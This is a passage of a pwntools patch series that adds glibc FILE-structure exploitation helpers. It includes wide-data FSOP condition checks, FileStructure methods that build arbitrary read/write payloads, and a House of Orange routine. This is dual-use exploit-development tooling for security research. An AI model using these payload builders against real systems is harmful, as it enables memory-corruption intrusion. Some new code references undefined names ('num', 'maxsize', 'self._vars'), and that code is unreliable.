8, 4, PTR): + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # buf base + if _check(wideoff, 0x30, 0x18, PTR): + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + # save base + if _check(wideoff, 0x40, 0x20, PTR): + logit('_wide_data->_IO_save_base need to be a free-able address') + elif mode is WideFSOPType.APPLE2_XSGETN: + # read end & read ptr + end = _check(wideoff, 8, 4, PTR) + ptr = _check(wideoff, 0, 0, PTR) + if end != ptr or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr <= base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + elif mode is WideFSOPType.APPLE3_UNDERFLOW: + # read ptr & read end + ptr = _check(wideoff, 0, 0, PTR) + end = _check(wideoff, 8, 4, PTR) + if ptr < end or end == -1 or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + elif mode is WideFSOPType.APPLE3_MMAP: + # read ptr & read end + ptr = _check(wideoff, 0, 0, PTR) + end = _check(wideoff, 8, 4, PTR) + if ptr < end or end == -1 or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # buf base + base = _check(wideoff, 0x30, 0x18, PTR) + if base == 0 or base == -1: + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + elif mode is WideFSOPType.APPLE3_WRITE: + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr < base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + elif mode is WideFSOPType.APPLE3_SYNC: + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr > base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + # read ptr & read end + if _check(wideoff, 0, 0, PTR) == _check(wideoff, 8, 4, PTR): + errs.append(WideFSOPErrors.WDATA_READ_PTR) + else: + raise AssertionError('No such mode in WideFSOPType') + if 0x20 <= mode.value < 0x30: # only apple 2 need to check vtable + if _check(wideoff, 0xe0, 0x88, PTR) < MAGIC: + errs.append(WideFSOPErrors.WDATA_VTABLE) + + if jumpoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # doallocate + if _check(jumpoff, 0x68, 0x34, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_DOALLOCATE) + elif mode is WideFSOPType.APPLE2_MMAP: + # doallocate + if _check(jumpoff, 0x68, 0x34, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_DOALLOCATE) + elif mode is WideFSOPType.APPLE2_XSGETN: + # overflow + if _check(jumpoff, 0x18, 0xc, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_OVERFLOW) + + if codecvtoff is not None: + if mode is WideFSOPType.APPLE3_UNDERFLOW or \ + mode is WideFSOPType.APPLE3_MMAP or \ + mode is WideFSOPType.APPLE3_SYNC: + # __cd_in.step + if _check(codecvtoff, 0, 0, PTR) < MAGIC: + errs.append(WideFSOPErrors.CODECVT_CDIN) + elif mode is WideFSOPType.APPLE3_WRITE: + # __cd_out.step + if _check(codecvtoff, 0x38, 0x24, PTR) < MAGIC: + errs.append(WideFSOPErrors.CODECVT_CDOUT) + + if cdstepoff is not None: + if mode is WideFSOPType.APPLE3_SYNC: + # stateful + stateful = _check(cdstepoff, 0x58, 0x34, INT) + if stateful == 0 or stateful == -1: + errs.append(WideFSOPErrors.CDSTEP_STATEFUL) + # shlib_handle + if _check(cdstepoff, 0, 0, PTR) != 0: + logit('shlib_handle is not 0, please deal with PTR_MANGLE') + # fct + if _check(cdstepoff, 0x28, 0x14, PTR) < MAGIC: + errs.append(WideFSOPErrors.CDSTEP_FCT) + + return errs diff --git a/pwnlib/util/packing.py b/pwnlib/util/packing.py index ff8e32280..13016f8da 100644 --- a/pwnlib/util/packing.py +++ b/pwnlib/util/packing.py @@ -1255,7 +1255,7 @@ def overlap_structure(*structs): >>> z = p32(0xbeef) >>> overlap_structure(x, y, z) Traceback (most recent call last): - ... + ... ValueError: Conflict values at index 0, 1 """ if len(structs) == 1: @@ -1264,7 +1264,7 @@ def overlap_structure(*structs): # convert str to bytes first to calc accurate length itr = [_need_bytes(s) if isinstance(s, str) else s for s in structs] maxlen = max(len(e) for e in itr) - final = [0] * maxlen + final = bytearray(maxlen) errs = set() for s in itr: From 7339952548cd771b23b07a7cd093a641dd0a7d4d Mon Sep 17 00:00:00 2001 From: RocketDev Date: Wed, 12 Mar 2025 12:17:55 +0800 Subject: [PATCH 10/11] filepointer: check type and len when setattr; filepointer: check type and len when setattr; format code and add type hint. --- pwnlib/structs/filepointer.py | 264 +++++++++++++++++++--------------- 1 file changed, 150 insertions(+), 114 deletions(-) diff --git a/pwnlib/structs/filepointer.py b/pwnlib/structs/filepointer.py index d2433468a..66250ebaf 100644 --- a/pwnlib/structs/filepointer.py +++ b/pwnlib/structs/filepointer.py @@ -28,88 +28,93 @@ from pwnlib.context import context from pwnlib.log import getLogger from pwnlib.util.misc import python_2_bytes_compatible -from pwnlib.util.packing import pack +from pwnlib.util.packing import pack, _need_bytes log = getLogger(__name__) -length=0 -size='size' -name='name' +length = 0 +size = 'size' +name = 'name' variables={ - 0:{name:'flags',size:length}, - 1:{name:'_IO_read_ptr',size:length}, - 2:{name:'_IO_read_end',size:length}, - 3:{name:'_IO_read_base',size:length}, - 4:{name:'_IO_write_base',size:length}, - 5:{name:'_IO_write_ptr',size:length}, - 6:{name:'_IO_write_end',size:length}, - 7:{name:'_IO_buf_base',size:length}, - 8:{name:'_IO_buf_end',size:length}, - 9:{name:'_IO_save_base',size:length}, - 10:{name:'_IO_backup_base',size:length}, - 11:{name:'_IO_save_end',size:length}, - 12:{name:'markers',size:length}, - 13:{name:'chain',size:length}, - 14:{name:'fileno',size:4}, - 15:{name:'_flags2',size:4}, - 16:{name:'_old_offset',size:length}, - 17:{name:'_cur_column',size:2}, - 18:{name:'_vtable_offset',size:1}, - 19:{name:'_shortbuf',size:1}, - 20:{name:'unknown1',size:-4}, - 21:{name:'_lock',size:length}, - 22:{name:'_offset',size:8}, - 23:{name:'_codecvt',size:length}, - 24:{name:'_wide_data',size:length}, - 25:{name:'unknown2',size:length}, - 26:{name:'vtable',size:length} + 0: {name: 'flags', size: length}, + 1: {name: '_IO_read_ptr', size: length}, + 2: {name: '_IO_read_end', size: length}, + 3: {name: '_IO_read_base', size: length}, + 4: {name: '_IO_write_base', size: length}, + 5: {name: '_IO_write_ptr', size: length}, + 6: {name: '_IO_write_end', size: length}, + 7: {name: '_IO_buf_base', size: length}, + 8: {name: '_IO_buf_end', size: length}, + 9: {name: '_IO_save_base', size: length}, + 10: {name: '_IO_backup_base', size: length}, + 11: {name: '_IO_save_end', size: length}, + 12: {name: 'markers', size: length}, + 13: {name: 'chain', size: length}, + 14: {name: 'fileno', size: 4}, + 15: {name: '_flags2', size: 4}, + 16: {name: '_old_offset', size: length}, + 17: {name: '_cur_column', size: 2}, + 18: {name: '_vtable_offset', size: 1}, + 19: {name: '_shortbuf', size: 1}, + 20: {name: 'unknown1', size: -4}, + 21: {name: '_lock', size: length}, + 22: {name: '_offset', size: 8}, + 23: {name: '_codecvt', size: length}, + 24: {name: '_wide_data', size: length}, + 25: {name: 'unknown2', size: length}, + 26: {name: 'vtable', size: length} } del name, size, length -def update_var(l): +def update_var(l: int) -> dict[str, int]: r""" - Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. + Since different members of the file structure have different sizes, + we need to keep track of the sizes. The following function is used + by the FileStructure class to initialise the lengths of the various fields. Arguments: l(int) l=8 for 'amd64' architecture and l=4 for 'i386' architecture Return Value: - Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + Returns a dictionary in which each field is mapped to its corresponding + length according to the architecture set Examples: >>> update_var(8) {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} """ - var={} + var = {} for i in variables: - var[variables[i]['name']]=variables[i]['size'] + var[variables[i]['name']] = variables[i]['size'] for i in var: - if var[i]<=0: - var[i]+=l - if l==4: - var['unknown2']=56 + if var[i] <= 0: + var[i] += l + if l == 4: + var['unknown2'] = 56 else: - var['unknown2']=48 + var['unknown2'] = 48 return var -@python_2_bytes_compatible class FileStructure(object): r""" - Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. + Crafts a FILE structure, with default values for some fields, like _lock + which should point to null ideally, set. Arguments: null(int) - A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) + A pointer to NULL value in memory. This pointer can lie in any + segment (stack, heap, bss, libc etc) Examples: - FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d + FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end + pointing to 0xcafebabe and 0xfacef00d >>> context.clear(arch='amd64') >>> fileStr = FileStructure(null=0xdeadbeeef) @@ -125,7 +130,9 @@ class FileStructure(object): >>> len(fileStr) 224 - The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell + The definition for __repr__ orders the structure members and displays + then in a dictionary format. It's useful when viewing a structure + object in python/IPython shell. >>> q=FileStructure(0xdeadbeef) >>> q @@ -161,47 +168,69 @@ class FileStructure(object): vars_=[] length={} - def __init__(self, null=0): + def __init__(self, null: int=0): self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] - self.setdefault(null) self.length = update_var(context.bytes) + self.setdefault(null) self._old_offset = (1 << context.bits) - 1 - def __setattr__(self,item,value): - if item in FileStructure.__dict__ or item in self.vars_: - object.__setattr__(self,item,value) + def __setattr__(self, item: str, value: int | bytes | str): + if item in self._vars: + maxsize = self.length[item] + if isinstance(value, int): + if value < 0 or value >= (1 << maxsize): + log.error(f"Out of bounds for {item}: expect item size {maxsize}, but get {value}") + elif isinstance(value, (str, bytes)): + value = _need_bytes(value) + if len(value) > maxsize: + log.error(f"Value too large for {item}: expect item size {maxsize}, but get {len(value)}") + elif hasattr(value, '__bytes__') is False: + log.error(f"Unable to cast {item} to bytes") + # if value can cast to bytes, we don't check its size here + # as it may be mutable + object.__setattr__(self, item, value) + elif item in FileStructure.__dict__: + object.__setattr__(self, item, value) else: - log.error("Unknown variable %r" % item) + log.error(f"Unknown variable {item}") - def __repr__(self): - structure=[] + def __repr__(self) -> str: + structure = [] for i in self.vars_: e = getattr(self, i) if isinstance(e, bytes): - structure.append(" %s: %s" % (i, e)) + structure.append(f" {i}, {e}") + elif isinstance(e, int): + structure.append(f" {i}, {e:#x}") else: - structure.append(" %s: %#x" % (i, e)) + structure.append(f" {i}, {bytes(e)}") return "{"+ "\n".join(structure)+"}" - def __len__(self): + def __len__(self) -> int: return len(bytes(self)) - def __bytes__(self): - structure = b'' + def __bytes__(self) -> bytes: + structure = bytearray() for val in self.vars_: - if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') - else: - if self.length[val] > 0: - structure += pack(getattr(self, val), self.length[val]*8) - return structure - - def struntil(self,v): + if self.length[val] > 0: + value = getattr(self, val) + if isinstance(value, int): + structure.append(pack(value, self.length[val] * 8)) + elif isinstance(value, bytes): + structure.append(value.ljust(self.length[val], b'\x00')) + else: + cast = bytes(value) + if len(cast) > self.length[val]: + log.error(f"Unable to fit {value} as it's larger than {self.length[val]}") + structure.append(cast.ljust(self.length[val], b'\x00')) + return bytes(structure) + + def struntil(self, v) -> str: r""" Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. Arguments: - v(string) + v(str) The name of the field uptil which the payload should be created. Example: @@ -216,46 +245,53 @@ def struntil(self,v): """ if v not in self.vars_: return b'' - structure = b'' + structure = bytearray() for val in self.vars_: - if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') - else: - structure += pack(getattr(self, val), self.length[val]*8) + if self.length[val] > 0: + value = getattr(self, val) + if isinstance(value, int): + structure.append(pack(value, self.length[val] * 8)) + elif isinstance(value, bytes): + structure.append(value.ljust(self.length[val], b'\x00')) + else: + cast = bytes(value) + if len(cast) > self.length[val]: + log.error(f"Unable to fit {value} as it's larger than {self.length[val]}") + structure.append(cast.ljust(self.length[val], b'\x00')) if val == v: break - return structure[:-1] - - def setdefault(self,null): - self.flags=0 - self._IO_read_ptr=0 - self._IO_read_end=0 - self._IO_read_base=0 - self._IO_write_base=0 - self._IO_write_ptr=0 - self._IO_write_end=0 - self._IO_buf_base=0 - self._IO_buf_end=0 - self._IO_save_base=0 - self._IO_backup_base=0 - self._IO_save_end=0 - self.markers=0 - self.chain=0 - self.fileno=0 - self._flags2=0 - self._old_offset=0 - self._cur_column=0 - self._vtable_offset=0 - self._shortbuf=0 - self.unknown1=0 - self._lock=null - self._offset=0xffffffffffffffff - self._codecvt=0 - self._wide_data=null - self.unknown2=0 - self.vtable=0 - - def write(self,addr=0,size=0): + return bytes(structure)[:-1] + + def setdefault(self, null: int): + self.flags = 0 + self._IO_read_ptr = 0 + self._IO_read_end = 0 + self._IO_read_base = 0 + self._IO_write_base = 0 + self._IO_write_ptr = 0 + self._IO_write_end = 0 + self._IO_buf_base = 0 + self._IO_buf_end = 0 + self._IO_save_base = 0 + self._IO_backup_base = 0 + self._IO_save_end = 0 + self.markers = 0 + self.chain = 0 + self.fileno = 0 + self._flags2 = 0 + self._old_offset = 0 + self._cur_column = 0 + self._vtable_offset = 0 + self._shortbuf = 0 + self.unknown1 = 0 + self._lock = null + self._offset = 0xffffffffffffffff + self._codecvt = 0 + self._wide_data = null + self.unknown2 = 0 + self.vtable = 0 + + def write(self, addr: int=0, size: int=0) -> bytes: r""" Writing data out from arbitrary memory address. @@ -275,15 +311,15 @@ def write(self,addr=0,size=0): >>> payload b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' """ - self.flags &=~8 - self.flags |=0x800 + self.flags &= ~8 + self.flags |= 0x800 self._IO_write_base = addr - self._IO_write_ptr = addr+size + self._IO_write_ptr = addr + size self._IO_read_end = addr self.fileno = 1 return self.struntil('fileno') - def read(self,addr=0,size=0): + def read(self, addr: int=0, size: int=0) -> bytes: r""" Reading data into arbitrary memory location. @@ -303,15 +339,15 @@ def read(self,addr=0,size=0): >>> payload b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' """ - self.flags &=~4 + self.flags &= ~4 self._IO_read_base = 0 self._IO_read_ptr = 0 self._IO_buf_base = addr - self._IO_buf_end = addr+size + self._IO_buf_end = addr + size self.fileno = 0 return self.struntil('fileno') - def orange(self,io_list_all,vtable): + def orange(self, io_list_all: int, vtable: int) -> bytes: r""" Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. @@ -334,11 +370,11 @@ def orange(self,io_list_all,vtable): if context.bits == 64: self.flags = b'/bin/sh\x00' self._IO_read_ptr = 0x61 - self._IO_read_base = io_list_all-0x10 + self._IO_read_base = io_list_all - 0x10 elif context.bits == 32: self.flags = b'sh\x00' self._IO_read_ptr = 0x121 - self._IO_read_base = io_list_all-0x8 + self._IO_read_base = io_list_all - 0x8 self._IO_write_base = 0 self._IO_write_ptr = 1 self.vtable = vtable From 0f1605325c603a3464068718f526f80d3528f7ea Mon Sep 17 00:00:00 2001 From: RocketDev Date: Sun, 16 Mar 2025 01:04:24 +0800 Subject: [PATCH 11/11] structs: ugly implementation to simplify structs --- pwnlib/structs/__init__.py | 47 ++++++++++++++++++ pwnlib/structs/jumptable.py | 3 -- pwnlib/structs/widedata.py | 96 ++++++++++--------------------------- 3 files changed, 73 insertions(+), 73 deletions(-) diff --git a/pwnlib/structs/__init__.py b/pwnlib/structs/__init__.py index 953941ca9..898299b7e 100644 --- a/pwnlib/structs/__init__.py +++ b/pwnlib/structs/__init__.py @@ -274,3 +274,50 @@ def _check(goff: int, off64: int, off32: int, len64: int): errs.append(WideFSOPErrors.CDSTEP_FCT) return errs + +class struct_attr: + def __init__(self, name: str, off64: int, len64: int, off32: int, len32: int): + self.length = (len64, len32) + self.offset = (off64, off32) + self.maximum = (1 << len64, 1 << len32) + self.name = name + + def __eq__(self, obj: str) -> bool: + return self.name == obj + +class struct_attr_list: + def __init__(self, attrs: tuple[struct_attr], i386: bool, logger): + self.attrs = attrs + self.is32bit = int(i386) + self.log = logger + + def _find(self, attr_name: str) -> struct_attr: + if attr_name not in self.attrs: + return None + return self.attrs[self.attrs.index(attr_name)] + + def get_attr(self, attr_name: str) -> tuple[int, int]: + attr = self._find(attr_name) + if attr is None: + return -1, -1 + return attr.offset[self.is32bit], attr.length[self.is32bit] + + def check_attr(self, attr_name: str, value: any) -> bool: + attr = self._find(attr_name) + if attr is None: + return False + size = attr.length[self.is32bit] + if isinstance(value, int): + maximum = attr.maximum[self.is32bit] + num = num if num >= 0 else num + maximum + if num < 0 or num >= (1 << maximum): + self.log.error(f"Out of bounds for {attr_name}: expect item size {size}, but get {value}") + elif isinstance(value, (str, bytes)): + value = _need_bytes(value) + if len(value) > maxsize: + self.log.error(f"Value too large for {attr_name}: expect item size {size}, but get {len(value)}") + elif hasattr(value, '__bytes__') is False: + self.log.error(f"Unable to cast {attr_name} to bytes") + # if value can cast to bytes, we don't check its size here + # as it may be mutable + return True diff --git a/pwnlib/structs/jumptable.py b/pwnlib/structs/jumptable.py index a523b4e7a..8e2833049 100644 --- a/pwnlib/structs/jumptable.py +++ b/pwnlib/structs/jumptable.py @@ -22,9 +22,6 @@ log = getLogger(__name__) - - -@python_2_bytes_compatible class JumpTable(object): r""" Crafts a Jump Table, with all fields are set to 0. diff --git a/pwnlib/structs/widedata.py b/pwnlib/structs/widedata.py index b8ae0641d..645266d9c 100644 --- a/pwnlib/structs/widedata.py +++ b/pwnlib/structs/widedata.py @@ -30,12 +30,10 @@ from pwnlib.log import getLogger from pwnlib.util.misc import python_2_bytes_compatible from pwnlib.util.packing import pack +from pwnlib.structs import struct_attr, struct_attr_list log = getLogger(__name__) - - -@python_2_bytes_compatible class WideData(object): r""" Crafts a WideData structure, with all fields are set to 0, except _wide_vtable set to specified "null". @@ -78,75 +76,33 @@ class WideData(object): _wide_vtable: 0xdeadbeef} """ - vars_=[] - length={} - - __length=0 - size='size' - name='name' - - variables={ - 0:{name:'_IO_read_ptr',size:__length}, - 1:{name:'_IO_read_end',size:__length}, - 2:{name:'_IO_read_base',size:__length}, - 3:{name:'_IO_write_base',size:__length}, - 4:{name:'_IO_write_ptr',size:__length}, - 5:{name:'_IO_write_end',size:__length}, - 6:{name:'_IO_buf_base',size:__length}, - 7:{name:'_IO_buf_end',size:__length}, - 8:{name:'_IO_save_base',size:__length}, - 9:{name:'_IO_backup_base',size:__length}, - 10:{name:'_IO_save_end',size:__length}, - 11:{name:'_IO_state',size:8}, - 12:{name:'_IO_last_state',size:8}, - 13:{name:'_codecvt',size:0}, # 32b:0x48, 64b:0x70 - 14:{name:'_shortbuf',size:4}, - 15:{name:'_wide_vtable',size:__length} - } - - del name, size, __length - - - def update_var(self, l): - r""" - Since different members of the WideData structure have different sizes, we need to keep track of the sizes. The following function is used by the WideData class to initialise the lengths of the various fields. - - Arguments: - l(int) - l=8 for 'amd64' architecture and l=4 for 'i386' architecture - - Return Value: - Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set - - Examples: - - >>> wide = WideData() - >>> wide.update_var(8) - {'_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, '_IO_state': 8, '_IO_last_state': 8, '_codecvt': 112, '_shortbuf': 4, '_wide_vtable': 8} - """ - var={} - for i in self.variables: - var[self.variables[i]['name']]=self.variables[i]['size'] - for i in var: - if var[i]<=0: - var[i]+=l - if l==4: - var['_codecvt'] = 0x48 - else: - var['_codecvt'] = 0x70 - return var - + VARIABLES = ( + struct_attr('_IO_read_ptr', 0, 8, 0, 4), + struct_attr('_IO_read_end', 8, 8, 4, 4), + struct_attr('_IO_read_base', 0x10, 8, 0x8, 4), + struct_attr('_IO_write_base', 0x18, 8, 0xc, 4), + struct_attr('_IO_write_ptr', 0x20, 8, 0x10, 4), + struct_attr('_IO_write_end', 0x28, 8, 0x14, 4), + struct_attr('_IO_buf_base', 0x30, 8, 0x18, 4), + struct_attr('_IO_buf_end', 0x38, 8, 0x1c, 4), + struct_attr('_IO_save_base', 0x40, 8, 0x20, 4), + struct_attr('_IO_backup_base', 0x48, 8, 0x24, 4), + struct_attr('_IO_save_end', 0x50, 8, 0x28, 4), + struct_attr('_IO_state', 0x58, 8, 0x2c, 8), + struct_attr('_IO_last_state', 0x60, 8, 0x34, 8), + struct_attr('_codecvt', 0x68, 0x70, 0x3c, 0x48), + struct_attr('_shortbuf', 0xd8, 4, 0x84, 4), + struct_attr('_wide_vtable', 0xe0, 8, 0x88, 4), + ) def __init__(self, null=0): - self.vars_ = [self.variables[i]['name'] for i in sorted(self.variables.keys())] - self.setdefault(null) - self.length = self.update_var(context.bytes) - - def __setattr__(self,item,value): - if item in WideData.__dict__ or item in self.vars_: - object.__setattr__(self,item,value) - else: - log.error("Unknown variable %r" % item) + self.vars_ = struct_attr_list(self.VARIABLES, context.bits == 32, log) + self.setdefault(null) + + def __setattr__(self, item: str, value: any): + if not self.vars_.check_attr(item, value) and item not in WideData.__dict__: + log.error(f"Unknown variable {item}") + object.__setattr__(self, item, value) def __repr__(self): structure=[]